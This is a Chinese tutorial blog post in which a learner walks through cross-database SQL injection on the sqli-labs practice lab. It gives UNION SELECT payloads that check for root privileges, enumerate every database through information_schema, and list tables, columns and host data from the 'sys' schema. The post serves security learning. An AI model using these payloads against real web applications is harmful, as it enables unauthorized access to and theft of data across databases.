sql注入之跨库注入的学习记录

本人小白一个,如果有什么问题希望大佬可以指出,有什么疑问也可以在评论区留言一起讨论一下共同学习进步。

sql注入之跨库注入

跨库注入没有什么难点,主要是需要root权限

那么怎样判断有没有root权限呢?

我们依旧使用sqli-labs靶场的第一关进行一个测试

?id=0' union select 1,user(),database()--+

可以看到在user的注入点有root回显这就是存在root权限。

那么我们接下来就可以进行跨库注入了。

第一步:注出所有数据库

?id=0' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

 照常的解释一下语句:

information_schema.schemata在这里面存储着所有的数据库名。

schema_name通常用来表示数据库中的模式(Schema)。数据库模式是数据库对象的集合,包括表、视图、索引、存储过程等。数据库模式用于组织和管理数据库对象,提供了对这些对象的命名空间和访问控制。

那么可能有师傅会有疑惑了为什么我们不用database()。datbase()不也代表数据库吗?

?id=0' union select 1,group_concat(database()),3 from information_schema.schemata--+

 在 MySQL 中,DatabaseSchema 可以互换使用,它们基本上是同一个概念。但是呢在跨库注入中我们尽量不用database。

第二步:读取数据库中的表

0'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='sys'--+

 接下来的注入与其他的注入没有任何不同

第三步:注出列

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='sys' and table_name='host_summary'--+

第四步: 注出内容敏感信息

?id=0' union select 1,group_concat(host),3 from sys.host_summary--+

 总结:

跨库注入

跨库注入(Cross-database Injection)是一种SQL注入攻击技术,攻击者通过SQL注入漏洞,不仅能够操作当前数据库中的数据,还可以在同一数据库服务器上访问和操控其他数据库的数据。这种攻击方式可以大大扩大攻击者的影响范围和获取的信息量。

 等到了实战的时候各位师傅们就可以知道跨库注入的重要性了。

  • 10
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值